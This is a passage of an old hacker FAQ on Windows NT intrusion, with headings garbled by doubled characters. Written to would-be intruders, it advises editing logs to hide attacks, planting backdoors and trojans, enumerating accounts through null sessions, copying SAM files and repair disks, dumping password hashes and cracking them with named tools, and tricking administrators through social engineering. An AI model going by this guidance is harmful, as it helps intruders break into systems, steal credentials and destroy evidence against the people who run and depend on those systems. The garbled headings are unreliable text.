A SYN Flood attack is when the client does not response to the SYNACK, tying up the service until the service times out, and continues to send SYN packets. The source address of the client is forged to a non-existant host, and as long as the SYN packets are sent faster than the timeout rate of the TCP stack waiting for the time out, the resources of the service will be tied up.

This is a simplified version of what exactly happens. For more elaborate details and sample Linux code for creating a flood, see Phrack 48 file 13 by daemon9.

5#5.#.4#4.#. W#Wh#ha#at#t a#ar#re#e o#ot#th#he#er#r p#po#op#pu#ul#la#ar#r D#De#en#ni#ia#al#l o#of#f S#Se#er#rv#vi#ic#ce#e a#at#tt#ta#ac#ck#ks#s?#?

Most others involve ICMP packets (re: ping) and creating massive floods of ICMP traffic, or other packet malformations. Search the net for smurf.c or teardrop.c for more details.

6#6.#.

M#Mi#is#sc#c I#In#nf#fo#o

This section contains miscellaneous information regarding hacking basics.

6#6.#.1#1.#.

W#Wh#ha#at#t i#is#s a#a "#"b#ba#ac#ck#kd#do#oo#or#r"#"?#?

A backdoor is simply a way back into a system that not only bypasses existing security to regain access, but may even defeat any additional security enhancements added onto a system.

Backdoors can range from the simple to the exotic. Simple backdoors might include creating a new user account just for your intrusion needs, or taking over a little-used account. More complex backdoors may bypass regular access completely and involve trojans, such as a login program that gives you administrative access if you type in a special password.

Backdoors can be chained together, which is the technique used by most hackers. This involves a combination of techniques. For example, one or more accounts that have basic user access may have had their passwords cracked, and one or more accounts may be created by the hacker. Once the system is accessed by the hacker, the hacker may activate some technique or exploit a system misconfiguration that allows greater access. Often a hacker will lower the defenses in certain areas by slightly altering system configuration files. Perhaps a trojan program has been installed that will open holes upon command by the hacker. Some of these techniques will be discussed in detail in the individual operating system sections of this FAQ. 6#6.#.2#2.#. W#Wh#hy#y d#do#o I#I c#ca#ar#re#e a#ab#bo#ou#ut#t a#au#ud#di#it#ti#in#ng#g,#, a#ac#cc#co#ou#un#nt#ti#in#ng#g,#, a#an#nd#d l#lo#og#gg#gi#in#ng#g?#?

Auditing, accounting, logging -- call it what you will, these are things used to create permanent or semi-permanent records of events on a system. Unfortunately these can record your intrusion activities, sometimes in explicit and evidence-worthy detail. Therefore potential intruders should not only be aware of what record keeping is available (either as a regular feature of the system or as add-ons) and have possible methods for defeating such recordings.

Some types of logging include simple text files with entries showing logins and logouts, maybe failed logins. Others show what programs were accessed, which programs were attempted to be run and the request failed, or keep track of an individual's disk usage. All can reveil info that can allow an administrator to reconstruct an attack.

6#6.#.3#3.#. W#Wh#ha#at#t a#ar#re#e s#so#om#me#e d#di#if#ff#fe#er#re#en#nt#t l#lo#og#gg#gi#in#ng#g t#te#ec#ch#hn#ni#iq#qu#ue#es#s u#us#se#ed#d b#by#y A#Ad#dm#mi#in#ns#s?#?

Admins generally prefer to use simple logging techniques so as not to pile onto their current workload. Logs take up space. Large log files are sometimes very difficult to sift through as sys admins are looking

for problems. These logs are usually stored in directories generally protected from casual viewing, or at least editing.

6#6.#.4#4.#. W#Wh#hy#y s#sh#ho#ou#ul#ld#d I#I n#no#ot#t j#ju#us#st#t d#de#el#le#et#te#e t#th#he#e l#lo#og#g f#fi#il#le#es#s?#?

Typically log files do not disappear. This might lead a curious sys admin to poke around looking for problems, and the paranoid sys admin to look for intruders. The logs should be edited if possible, or the entries made into them made to look as normal as possible.

6#6.#.5#5.#. W#Wh#ha#at#t i#is#s a#a b#bu#uf#ff#fe#er#r o#ov#ve#er#rf#fl#lo#ow#w?#?

A buffer overflow is when a buffer was assigned by a programmer to hold variable data, and the variable data placed into that buffer is greater that the size of the initial assignment of the buffer.

Depending on the operating system and exactly what the "extra" data overflowing the buffer is, this can be used by a hacker to cause portions of a system to fail, or even execute arbitrary code.

Most buffer overflow exploits center around user-supplied data exceeding a buffer, and the extra data being executed on the stack to open up additional access. Buffer overflows exist on all major network operating systems.

7#7.#.

N#NT#T B#Ba#as#si#ic#cs#s

This section deals with the basics and other background info to help prepare for NT hacking.

7#7.#.1#1.#. W#Wh#ha#at#t a#ar#re#e t#th#he#e c#co#om#mp#po#on#ne#en#nt#ts#s o#of#f N#NT#T s#se#ec#cu#ur#ri#it#ty#y?#?

There are several different components. Each has a role within the overall NT security model. Because of the amount and complexity of components in the security model, not only should the individual components be explored, but how they work together should be explored.

Local Security Authority (LSA) ------------------------------

This is also known as the Security Subsystem. It is the central component of NT security. It handles local security policy and user authentication. LSA also handles generating and logging audit messages.

Security Account Manager (SAM) ------------------------------

SAM handles user and group accounts, and provides user authentication for LSA. Security Reference Monitor (SRM) --------------------------------

SRM enforces access validation and auditing for LSA. It checks user accounts as the user tries to access various files, directories, etc, and either allows or denies access. Auditing messages are generated as a result. The SRM contains a copy of the access validation code to ensure that resources are protected uniformly throughout the system, regardless of resource type.

User Interface (UI) -------------------

An important part of the security model, the UI is mainly all that the end user sees, and is how most of the administration can be performed.

7#7.#.2#2.#. H#Ho#ow#w d#do#oe#es#s t#th#he#e a#au#ut#th#he#en#nt#ti#ic#ca#at#ti#io#on#n o#of#f a#a u#us#se#er#r a#ac#ct#tu#ua#al#ll#ly#y w#wo#or#rk#k?#?

First, a user logs on. When this happens, NT creates a token object that represents that user. Each process the user runs is associated with this token (or a copy of it). The token-process combination is refered to as a subject. As subjects access objects such as files and directories, NT checks the subject's token with the Access Control List (ACL) of the object and determines whether to allow the access or not. This may also generate an audit message.

7#7.#.3#3.#. W#Wh#ha#at#t i#is#s "#"s#st#ta#an#nd#da#al#lo#on#ne#e"#" v#vs#s.#. "#"w#wo#or#rk#kg#gr#ro#ou#up#p"#" v#vs#s.#. "#"d#do#om#ma#ai#in#n"#"?#?

Each NT workstation participates in either a workgroup or a domain.

Most companies will have NT workstations participate in a domain for management of the resource by the administrator.

A domain is one or more servers running NT server with all of the servers functioning as a single system. The domain not only contains servers, but NT workstations, Windows for Workgroups machines, and even LAN Manager 2.x machines. The user and group database covers ALL of the resources of a domain.

Domains can be linked together via trusted domains. The advantage of trusted domains is that a user only needs one user account and password to get to resources across multiple domains, and administrators can centrally manage the resources.

A workgroup is simply a grouping of workstations that do not belong to a domain. A standalone NT workstation is a special case workgroup.

User and group accounts are handled differently between domain and workgroup situations. User accounts can be defined on a local or domain level. A local user account can only logon to that local computer, while a domain account can logon from any workstation in the domain.

Global group accounts are defined at a domain level. A global group account is an easy way to grant access to a subset of users in a domain to, say, a single directory or file located on a particular server within the domain. Local group accounts are defined on each computer. A local group account can have global group accounts and user accounts as members.

In a domain, the user and group database is "shared" by the servers.

NT workstations in the domain DO NOT have a copy of the user and group database, but can access the database. In a workgroup, each computer in the workgroup has its own database, and does not share this information.

7#7.#.4#4.#.

W#Wh#ha#at#t i#is#s a#a S#Se#er#rv#vi#ic#ce#e P#Pa#ac#ck#k?#?

Microsoft maintains a large online database of fixes for operating systems and applications. These fixes are refered to as Service Packs.

NT has its share, and typically the latest Service Pack has the latest fixes, including security patches.

Installing a Service Pack is NOT something to be taken lightly -- to turn on or off some features involves some Registry editing.

Installation can in some circumstances disable or cause conflicts.

Often after a new product has been loaded, even a Microsoft product, you must reinstall the Service Pack. For this reason, LAN administrators often neglect the timely installation of Service Packs.

For the hacker, this is a decided advantage -- especially if the site has numerous NT servers and workstations in need of patching. One day maybe Microsoft will make Service Pack installation a little less painless, but until then you will find MANY locations will be either under-patched or not patched at all.

Typically Service Packs are fairly well tested, although this is no guarantee everything is "fixed". Admins should not place 100% of their faith in them, but then hackers should not underestimate their value in closing holes.

7#7.#.5#5.#.

W#Wh#ha#at#t i#is#s a#a H#Ho#ot#t F#Fi#ix#x?#?

A Hot Fix is what is released between Service Pack releases. A Hot Fix is generally released to address a specific problem or condition. Some Hot Fixes may have a prerequisite of a certain Service Pack, and are typically included in the next Service Pack.

Once again, some of the Hot Fixes are downright dangerous to monkey around with, and many LAN folks will simply neglect installation especially at large NT shops. And once again this is good news for the

hacker.

Hot Fixes are not as well tested as the Service Packs are -- often they are released after headline-grabbing security flaws are announced, so they are often rushed to press.

7#7.#.6#6.#. W#Wh#he#er#re#e a#ar#re#e S#Se#er#rv#vi#ic#ce#e P#Pa#ac#ck#ks#s a#an#nd#d H#Ho#ot#t F#Fi#ix#xe#es#s?#?

The main location for Service Packs can be found at ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/xxx/yyy/zzz where xxx is the country, yyy is the NT version, and zzz is the Service Pack. For example, this is the address for the USA version of Service Pack 3 for NT 4: ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/ussp3 The main location for Hot Fixes can be found at ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/xxx/yyy/zzz where xxx is the country, yyy is the NT version, and zzz is the Hot Fix directory. For example, this is the address for the USA versions of Hot Fixes for NT 4 if Service Pack 3 is already installed: ftp://ftp.microsoft.com/bussys/winnt/winntpublic/fixes/usa/nt40/hotfixes-postSP3 7#7.#.7#7.#. W#Wh#ha#at#t'#'s#s w#wi#it#th#h "#"C#C2#2 c#ce#er#rt#ti#if#fi#ic#ca#at#ti#io#on#n"#"?#?

I'm not going to get into a bunch of detail on this. There are far better places to go for the info, but I will state this -- running the c2config utility to "lock down" your system will not protect you if you want to run third party software, use the floppy drive, or connect to the network. It is simply a marketing tactic used by Microsoft. The C2 tested configuration had no network access and no floppy drive. Who wants to use that?

And keep in mind that C2 certification does not consider a number of common sense items such as a hard-to-guess password. I can see some value in running the c2config utility and "opening up" the system as needed to make it useable, but this is a lot of work and beyond the scope of what I'm discussing here.

7#7.#.8#8.#. A#Ar#re#e t#th#he#er#re#e a#ar#re#e i#in#nt#te#er#re#es#st#ti#in#ng#g d#de#ef#fa#au#ul#lt#t g#gr#ro#ou#up#ps#s t#to#o b#be#e a#aw#wa#ar#re#e o#of#f?#?

There are a number of built-in local groups can do various functions, some which would be better off being left to the Administrator.

Administrators can do everything, but the following groups' members can do a few extra items (I only verified this on 4.0): +#o

Server Operators: do a shutdown, even remotely; reset the system time; perform backups and restores.

+#o

Backup Operators: do a shutdown; perform backups and restores.

+#o

Account Operators: do a shutdown.

+#o

Print Operators: do a shutdown.

Also members of these groups can login at the console. As you explore the NT sections of this FAQ and possibly someone else's server, remember these permissions. Gaining a Server Operator account and placing a trojan that activates after a remote shutdown could get you Administrator.

7#7.#.9#9.#. W#Wh#ha#at#t a#ar#re#e t#th#he#e d#de#ef#fa#au#ul#lt#t d#di#ir#re#ec#ct#to#or#ry#y p#pe#er#rm#mi#is#ss#si#io#on#ns#s?#?

Like the previous question, I only verified these on 4.0. And remember, Administrators are deities. Otherwise, if it isn't here, the group doesn't have access. \(root), \SYSTEM32, \WIN32APP - Server Operators and Everyone can read and execute files, display permissions on files, and do some changing on file attributes. \SYSTEM32\CONFIG - Everyone can list filenames in this directory. \SYSTEM32\DRIVERS, \SYSTEM\REPL - Server Operators have full access, Everyone has read access. \SYSTEM32\SPOOL - Server Operators and Print Operator have full access, Everyone has read access. \SYSTEM32\REPL\EXPORT - Server Operators can read and execute files, display permissions on files, and do some changing on file attributes.

Replicator has read access. \SYSTEM32\REPL\IMPORT - Server Operators and Replicator can read and execute files, display permissions on files, and do some changing on file attributes. Everyone has read access. \USERS - Account Operators can read, write, delete, and execute.

Everyone can list filenames in this directory. \USERS\DEFAULT - Everyone has read, write, and execute.

7#7.#.1#10#0.#. A#Ar#re#e t#th#he#er#re#e a#an#ny#y s#sp#pe#ec#ci#ia#al#l r#re#es#st#tr#ri#ic#ct#ti#io#on#ns#s s#su#ur#rr#ro#ou#un#nd#di#in#ng#g t#th#he#e A#Ad#dm#mi#in#ni#is#st#tr#ra#a-#t#ti#iv#ve#e T#To#oo#ol#ls#s g#gr#ro#ou#up#p i#in#n P#Pr#re#es#se#en#nt#ta#at#ti#io#on#n M#Ma#an#na#ag#ge#er#r?#?

The following tools have the following default group restrictions in 4.0: Disk Administrator - Must be a member of the Administrators group.

Event Log - Anyone can run Event Viewer, but only members of the Administrators group can clear logs or view the Security Log. Backup - Anyone can backup a file they have normal access to, but only the Administrators and Backup Operators can over override normal access.

User Manager - Users and Power Users can create and manage local groups.

User Manager for Domains - Users and Power Users can create and manage local groups if logged on at the server console, otherwise it is restricted to Administrators and Account Operators.

Server Manager - Only Administrators, Domain Admins, and Server Operators can use this on domains they have an account on. Account Operators can only add new accounts to the domain. Some features in Server Manager can only be used by the Administrators and Domain Admins.

7#7.#.1#11#1.#.

W#Wh#ha#at#t i#is#s t#th#he#e R#Re#eg#gi#is#st#tr#ry#y?#?

The Registry is the central core registrar for Windows NT. Each NT workstation or server has its own Registry, and each one contains info on the hardware and software of the computer it resides on. For example, comm port definitions, Ethernet card settings, desktop setting and profiles, and what a particular user can and cannot do are stored in the Registry. Remember those ugly system INI files in Windows 3.1? Well, they are all included with even more fun stuff into one big database called the Registry in NT. Of interest to hackers is the fact that all access control and assorted parameters are located in the Registry. While I'm tempted to discuss just that portion of the Registry, I'll briefly cover everything for completeness but put the fun stuff up front.

The Registry contains thousands of individual items of data, and are grouped together into "keys" or some type of optional value. These keys are grouped together into subtrees -- placing like keys together and making copies of others into separate trees for more convenient system access.

The Registry is divided into four separate subtrees. These subtrees are called HKEY_CLASSES_ROOT, HKEY_CURRENT_USER, HKEY_LOCAL_MACHINE, and HKEY_USERS. We'll go through them from most important to the hacker to least important to the hacker.

First and formost is the HKEY_LOCAL_MACHINE subtree. It contains five different keys. These keys are as follows: +#o

SAM and SECURITY - These keys contain the info such as user rights, user and group info for the domain (or workgroup if there is no domain), and passwords. In the NT hacker game of capture the flag, this is the flag. Bag this and all bets are off.

The keys are binary data only (for security reasons) and are

typically not accessible unless you are an Administrator or in the Administrators group. It is easier to copy the data and play with it offline than to work on directly. This is discussed in a little more detail in the ``NT Password'' section. +#o

HARDWARE - this is a storage database of throw-away data that describes the hardware components of the computer. Device drivers and applications build this database during boot and update it during runtime (although most of the database is updated during the boot process). When the computer is rebooted, the data is built again from scratch. It is not recommended to directly edit this particular database unless you can read hex easily.

There are three subkeys under HARDWARE, these are the Description key, the DeviceMap key, and the ResourceMap key. The Description key has describes each hardware resource, the DeviceMap key has data in it specific to individual groups of drivers, and the ResourceMap key tells which driver goes with which resource.

+#o

SYSTEM - This key contains basic operating stuff like what happens at startup, what device drivers are loaded, what services are in use, etc. These are split into ControlSets which have unique system configurations (some bootable, some not), with each ControlSet containing service data and OS components for that ControlSet. Ever had to boot from the "Last Known Good" configuration because something got hosed? That is a ControlSet stored here.

+#o

SOFTWARE - This key has info on software loaded locally. File associations, OLE info, and some miscellaneous configuration data is located here.

The second most important main key is HKEY_USERS. It contains a subkey for each local user who accesses the system, either locally or remotely. If the server is a part of a domain and logs in across the network, their subkey is not stored here, but on a Domain Controller.

Things such as Desktop settings and user profiles are stored here.

The third and fourth main keys, HKEY_CURRENT_USER and HKEY_CLASSES_ROOT, contain copies of portions of HKEY_USERS and HKEY_LOCAL_MACHINE respectively. HKEY_CURRENT_USER contains exactly would you would expect, a copy of the subkey from HKEY_USERS of the currently logged in user. HKEY_CLASSES_ROOT contains a part of HKEY_LOCAL_MACHINE, specifically from the SOFTWARE subkey. File associations, OLE configuration and dependency information.

7#7.#.1#12#2.#.

W#Wh#ha#at#t a#ar#re#e h#hi#iv#ve#es#s?#?

Hives are the major subdivisions of all of these subtrees, keys, subkeys, and values that make up the Registry. They contains "related" data. Look, I know what you might be thinking, but this is just how Microsoft divided things up -- I'm just relaying the info, even I don't know exactly what all the advantages to this setup are. ;-) All hives are stored in %systemroot%\SYSTEM32\CONFIG. The major hives and their files are as follows:

Hive ---------------------------

File ------

Backup File ------------

HKEY_LOCAL_MACHINE\SOFTWARE HKEY_LOCAL_MACHINE\SECURITY HKEY_LOCAL_MACHINE\SYSTEM HKEY_LOCAL_MACHINE\SAM HKEY_CURRENT_USER

SOFTWARE SECURITY SYSTEM SAM USERxxx ADMINxxx DEFAULT

SOFTWARE.LOG SECURITY.LOG SYSTEM.LOG SAM.LOG USERxxx.LOG ADMINxxx.LOG DEFAULT.LOG

HKEY_USERS\.DEFAULT

Hackers should look for the SAM file, with the SAM.LOG file as a secondary target. This contains the password info.

7#7.#.1#13#3.#. W#Wh#hy#y i#is#s t#th#he#e R#Re#eg#gi#is#st#tr#ry#y l#li#ik#ke#e t#th#hi#is#s a#an#nd#d w#wh#hy#y d#do#o I#I c#ca#ar#re#e?#?

Who the hell knows why it's this way? ;-) The main reason is a step towards central administration and combining all that crap from SYSTEM.INI, WIN.INI, and other "legacy" Windows 3.x config stuff into one database. Then nice and neat individual GUI applications could be used to manipulate the data contained inside.

And with the idea of a "domain" there are some "centralized" functionalities that are a little more convenient.

Is it better than Windows 3.x? This is debatable, although in my personal opinion I'd say yes. Were the design functions met? Probably not. While the Registry tries to be all things to all subcomponents of a domain, it does tend to smell like there were too many cooks in Microsoft's kitchen and simply not enough spoons. Some functions seem to be well suited for the Registry, some not. It is certainly not "portable" like Novell's NDS, that is you will probably never find the Registry running on a Unix system, whereas Novell's NDS is a much simpler design and is quite portable. Both schemes have their place -NDS does not contain or manage OS info at the Desktop level and the Registry does.

Who wins? My guess is the people currently offering training classes in any modern OS are probably loving this because it is so complex, therefore it is guaranteed income. And hackers also win, because this is a complex environment where one wrong parameter setting or one Hot Fix not loaded could mean free and easy access.

My main advice to hackers is to play around with the Registry on home systems before the attack, because as you go further and further into an NT environment, you stand more chances of screwing things up, which is an easy way to make yourself known.

8#8.#.

N#NT#T A#Ac#cc#co#ou#un#nt#ts#s

The following section deals with Accounts on NT systems.

8#8.#.1#1.#. W#Wh#ha#at#t a#ar#re#e c#co#om#mm#mo#on#n a#ac#cc#co#ou#un#nt#ts#s a#an#nd#d p#pa#as#ss#sw#wo#or#rd#ds#s i#in#n N#NT#T?#?

There are two accounts that come with NT out of the box -administrator and guest. In a network environment, I have run into local administrator access unpassworded, since the Sys Admin thought that global accounts ruled over local ones. Therefore it is possible to gain initial access to an NT box by using its local administrator account with no password.

Guest is another common unpassworded account, although recent shipments of NT disable the account by default. While it is possible that some companies will delete the guest account, some applications require it. If Microsoft Internet Studio needs to access data on another system, it will use guest for that remote access.

NetFRAME Systems Engineers use "aaa" as the default password for new installs.

8#8.#.2#2.#. W#Wh#ha#at#t i#if#f t#th#he#e S#Sy#ys#s A#Ad#dm#mi#in#n h#ha#as#s r#re#en#na#am#me#ed#d t#th#he#e A#Ad#dm#mi#in#ni#is#st#tr#ra#at#to#or#r a#ac#cc#co#ou#un#nt#t?#?

It is possible that a Sys Admin will create a new account, give that account the same access as the god account, and then remove part of the access to the former god account. The idea here is that if you don't know the real god account name, you can't get in with god priviledges.

As one might expect, this could break certain programs or functions.

For example, what makes root the Unix god is the fact that the UID (User ID number) and GID (Group ID number) are both zero. Any other account set this way is god, and more than one can exist on a single system. But some programs and scripts may not look to see if the user running them is UID zero, they might possibly look to see if the user's name is root. Since often Sys Admins have a stack of stuff to do anyway, monkeying around with the root account is usually not done.

If you can gain access to even a limited access account like a guest account, a simple grep "0:0" /etc/passwd should let you see whose god equiv or not.

With NT typing "NBTSTAT -A targetipaddress" will give you the new Administrator account, assuming the god account is logged in. A bit of social engineering could get them to log in as well. Nbtstat will also give you other useful information such as services running, the NT domain name, the nodename, and the ethernet hardware address.

Also see section From The Network which discusses a bug that allows you to get the new Administrator account name.

Renaming or assigning the same rights to a different user name than Admin is more common with Netware than with NT, and I know of NO program that checks to see what the user name is (at least on NT). The paradigm is to check if the rights allow the action, not to see who is really running it.

8#8.#.3#3.#. H#Ho#ow#w c#ca#an#n I#I f#fi#ig#gu#ur#re#e o#ou#ut#t v#va#al#li#id#d a#ac#cc#co#ou#un#nt#t n#na#am#me#es#s f#fo#or#r N#NT#T?#?

If you are at a server and it is a domain controller (or you have simply hooked one up), try these steps to get a list of accounts on the target machine: 1. From the USER MANAGER, create a trusting relationship with the target.

2. Enter whatever when asked for a password. Don't fret when it doesn't work. The target is now on your trusting list.

3. Launch NT Explorer and right click on any folder.

4. Select SHARING. 5. From the SHARED window, select ADD. 6. From the ADD menu, select your target NT server.

7. You will now see the entire group listing of the target.

8. Select SHOW USERS and you will see the entire user listing, including full names and descriptions.

This gives you a list of user accounts to target for individual attack. By studying the group memberships, you can even make decisions about who will have more privileges than others.

8#8.#.4#4.#. W#Wh#ha#at#t c#ca#an#n n#nu#ul#ll#l s#se#es#ss#si#io#on#ns#s t#to#o a#an#n N#NT#T m#ma#ac#ch#hi#in#ne#e t#te#el#ll#l m#me#e?#?

By establishing a null session from your NT attacking machine to the target server, there are a few different things you can do to get account info: net use \\server_name\ipc$""/user:"" if you see "The command completed successfully" then you are connected. Using local.exe and global.exe from the NT Resource Kit shold get you some usefull info. Here are two examples.

Get the local administrators on the target: local anmistrators \\server_name Get the members of the group Domain Admins: global "domain admins" \\server_name For even more information, rum DumpACL and go for the user and group reports. This should give you every account on the box, plus a host of other useful info, such as who logged in last, if a password is required, who is in what group, etc. From this you can target specific

accounts to attempt access.

9#9.#. N#NT#T P#Pa#as#ss#sw#wo#or#rd#ds#s This section deals with NT passwords.

9#9.#.1#1.#. H#Ho#ow#w d#do#o I#I a#ac#cc#ce#es#ss#s t#th#he#e p#pa#as#ss#sw#wo#or#rd#d f#fi#il#le#e i#in#n N#NT#T?#?

The location of what you need is in \\WINNT\SYSTEM32\CONFIG\SAM which is the location of the security database. This is usually world readable by default, but locked since it is in use by system compotents. It is possible that there are SAM.SAV files which could be readable. If so, these could be obtained for the purpose of getting password info.

During the installation of NT a copy of the password database is put in \\WINNT\REPAIR. Since it was just installed, only the Administrator and Guest accounts will be there, but maybe Administrator is enough -especially if the Administrator password is not changed after installation.

If the Sys Admin updates their repair disks, or you get a hold of a copy of the repair disks, you can get password database. The file is SAM._ in the ERD directory.

If you are insane, you can go poking around in the SAM secret keys.

First, schedule service to logon as LocalSystem and allow it to interact with the desktop, and then schedule an interactive regedt32 session. The regedt32 session will be running as LocalSystem and you can play around in the secret keys. However, if you change some stuff this might be very bad. You have to be Administrator to do this, though, so for the hacker you need to walk up to the machine while the Administrator is logged in and distract them by telling them they're giving away Microsoft t-shirts in the lobby (this doesn't always work ;-). Of course you can simply use a couple of different utilities for dumping the password hashes out, like PWDUMP or even running L0phtcrack (which has pwdump code built in) if you are in as Administrator.

9#9.#.2#2.#. W#Wh#ha#at#t d#do#o I#I d#do#o w#wi#it#th#h a#a c#co#op#py#y o#of#f S#SA#AM#M?#?

You get passwords. First use a copy of SAMDUMP.EXE to extract the user info out of it. You do not need to import this data into the Registry of your home machine to play with it. You can simply load it up into one of the many applications for cracking passwords, such as L0phtCrack. See section 3 for more info on NT passwords and cracking them.

9#9.#.3#3.#. W#Wh#ha#at#t'#'s#s t#th#he#e f#fu#ul#ll#l s#st#to#or#ry#y w#wi#it#th#h N#NT#T p#pa#as#ss#sw#wo#or#rd#ds#s?#?

Two one-way hashes are stored on the server -- a Lan Manager hash, and a Windows NT hash. Lan Manager uses a 14 byte password. If the password is less than 14 bytes, it is concantenated with 0's. It is

converted to upper case, and split into 7 byte halves. An 8 byte odd parity DES key is constructed from each 7 byte half. Each 8 byte DES key is encrypted with a "magic number" (0x4B47532140232425 encrypted with a key of all 1's). The results of the magic number encryption are concantenated into a 16 byte one way hash value. This value is the Lan Manager one-way hash of the password. A regular Windows NT password is derived by converting the user's password to Unicode, and using MD4 to get a 16 byte value. This value is the NT one-way hash of the password.

The reason there are two hashes is because the Lan Manager hash is for legacy support. In an all-NT environment it would be desirable to turn off Lan Man passwords. Since Lan Man uses a weakened DES key and converts all alpha characters to uppercase, it is easier to crack. The regular NT method uses a stronger algorithm and allows mixed-cased passwords.

So to crack NT passwords, the username and the corresponding one way hashes (Lan Man and NT) need to be extracted from the password database. Instead of going out and writing some code to do this, simply get a copy of Jeremy Allison's PWDUMP, which goes through SAM and gets the information for you. As previously stated, PWDUMP does require that you are an Administrator to get stuff out of the registry.

Since Microsoft does not ``salt'' during hash generation, once a potential password has generated a hash it can be checked against ALL accounts. All current NT crackers take advantage of this. Several freeware and shareware products are available on the Internet. They include: Cracker Author(s) Compiles on... Notes ---------------- ------------------- --------------- ---------------------c50a-nt-0.20.tgz Bob Tinsley Unix Dictionary cracker, a port of Alec Muffett's Crack 5.0 for Unix. lc201exe.zip

Mudge and Weld Pond Unix, includes Best of the bunch, can from the L0pht GUI NT version do brute force very and DOS version quickly, also can use a dictionary.

NTCrack.tar.gz

Jonathan Wilkins

Unix, includes NT version

Dictionary cracker, on it's second revision.

9#9.#.4#4.#. H#Ho#ow#w d#do#oe#es#s b#br#ru#ut#te#e f#fo#or#rc#ce#e p#pa#as#ss#sw#wo#or#rd#d c#cr#ra#ac#ck#ki#in#ng#g w#wo#or#rk#k w#wi#it#th#h N#NT#T?#?

As previously pointed out, the Lan Manager password concantenated to 14 bytes, and split in half. The halves can be worked on individually.

If the password was originally only 7 characters or less, that second half is always 0xAAD3B435B51404EE. To further ease brute force cracking, since a substantial reduction in bits occurs during the

deriving of the 8 byte DES key from the 7 byte key, less keys have to be tried. Also since the password is converted to upper case before one way encrypting it, Lan Manager password cracking does not have to take into consideration the possibility of lower case letters.

L0phtcrack incorporates techniques to exploit all of these possibilities.

By cracking the Lan Man password first, the NT password can be brute forced to determine the proper case of each alpha character.

L0phtcrack 2.01, the latest version as of this writing, is lightning fast.

9#9.#.5#5.#. H#Ho#ow#w d#do#oe#es#s d#di#ic#ct#ti#io#on#na#ar#ry#y p#pa#as#ss#sw#wo#or#rd#d c#cr#ra#ac#ck#ki#in#ng#g w#wo#or#rk#k w#wi#it#th#h N#NT#T?#?

All three of the password crackers mentioned can do dictionary attacks. Only L0phtcrack does not use rules to permutate the wordlist.

It is assumed you have pre-treated the wordlist with L0phtcrack, and quite frankly L0phtcrack is blindingly fast in a dictionary crack anyway.

9#9.#.6#6.#. I#I l#lo#os#st#t t#th#he#e N#NT#T A#Ad#dm#mi#in#ni#is#st#tr#ra#at#to#or#r p#pa#as#ss#sw#wo#or#rd#d.#. W#Wh#ha#at#t d#do#o I#I d#do#o?#?

Use the Offline NT Password Editor by Petter Nordahl-Hagen. You need to download Petter's code to your Linux machine (you DO have one of those, don't you?) and compile it using a libDES and MD4 library. Now mount the NT drive read/write and follow the instructions in the readme. The instructions are pretty easy to follow, especially if you know enough to get to the point to use them ;-) Actually, to make things easier, Petter has built a bootdisk image that steps you through the entire thing. I'll be the first to admit that Petter's code is as dangerous as hell, but it does work and I had no problems. YMMV. Consider using GetAdmin.exe (in the NT Attack Section) and go from there if you are too paranoid or fearful of booting up Linux to get to an NT machine.

9#9.#.7#7.#. H#Ho#ow#w d#do#oe#es#s a#a S#Sy#ys#s A#Ad#dm#mi#in#n e#en#nf#fo#or#rc#ce#e b#be#et#tt#te#er#r p#pa#as#ss#sw#wo#or#rd#ds#s?#?

There are several freeware utilities that allow for password changing with rules enforced. These range from the simple passwd utility by Alex Frink to Microsoft's own utilities. The NT Server 4.0 Resource Kit has a utility called Passprop that enforces random passwords. Also on Service Pack 2 is a DLL called PASSFILT that will does basically the same thing.

9#9.#.8#8.#. C#Ca#an#n a#an#n S#Sy#ys#s A#Ad#dm#mi#in#n p#pr#re#ev#ve#en#nt#t/#/s#st#to#op#p S#SA#AM#M e#ex#xt#tr#ra#ac#ct#ti#io#on#n?#?

As long as you can get in as Administrator, you are basically vulnerable. Microsoft has gradually increased its security for the SAM files and the hashes, but as things like L0phtCrack are quickly improved and Microsoft insists on backward compatibility with LAN Manager-style logins, things will be vulnerable. In fact, the latest L0phtCrack can actually sniff the network, store the data exchanged between client and server, and crack the hashes traced. So for you sys admins out there, keep absolutely current of Service Packs and Hot Fixes. For you hackers out there, well, it's a big bright world ;-) 9#9.#.9#9.#. H#Ho#ow#w i#is#s p#pa#as#ss#sw#wo#or#rd#d c#ch#ha#an#ng#gi#in#ng#g r#re#el#la#at#te#ed#d t#to#o "#"l#la#as#st#t l#lo#og#gi#in#n t#ti#im#me#e"#"?#?

Let's say an admin is checking the last time certain users have logged in by doing a NET USER /DOMAIN. Is the info accurate? Most of the time it will NOT be.

Most users do not login directly to the Primary Domain Controller (PDC), they login to a Backup Domain Controller (BDC). BDCs do NOT contain readonly versions of SAM, they contain read-write versions. To keep the already ungodly amount of network traffic down, BDCs do not tell the PDC that they have an update of the last login time until a password change has been done. And the NET USER /DOMAIN command checks the PDC, so last login time returned from this command could be wildly off (it could even show NEVER).

As a hacker, if you happen to know that password aging is not enforced, then you can bet that last login times will probably not be very accurate.

1#10#0.#.

N#NT#T C#Co#on#ns#so#ol#le#e A#At#tt#ta#ac#ck#ks#s

This section deals with attacking at the NT Console.

1#10#0.#.1#1.#. W#Wh#ha#at#t d#do#oe#es#s d#di#ir#re#ec#ct#t c#co#on#ns#so#ol#le#e a#ac#cc#ce#es#ss#s f#fo#or#r N#NT#T g#ge#et#t m#me#e?#?

First off, a number of ``NT client attacks'' may not work if your target system does not allow logins except at the console. Any brute force attack will obviously work much quicker if you are not going across the network.

1#10#0.#.2#2.#. W#Wh#ha#at#t a#ab#bo#ou#ut#t N#NT#T'#'s#s f#fi#il#le#e s#sy#ys#st#te#em#m?#?

Obviously gaining access to the file system from the console is much easier than across a network, especially if the Sys Admin is trying to keep you out.

Try booting up the system from an MS-DOS diskette, and running NTFSDOS.EXE to access the NTFS file system. Currently this software is read only, so it is only good for getting copies of existing data.

Linux is another OS that will read an NTFS file system, but "simply loading Linux" on a "spare partition" is usually impractical, and hardly simple if you are not familiar with it. See the question regarding recovering a ``lost NT password'' that uses Linux in the recovery process. I mean, if you log in as Administrator then you definitely have access to the file system ;-).

1#10#0.#.3#3.#. W#Wh#ha#at#t i#is#s N#Ne#et#tm#mo#on#n a#an#nd#d w#wh#hy#y d#do#o I#I c#ca#ar#re#e?#?

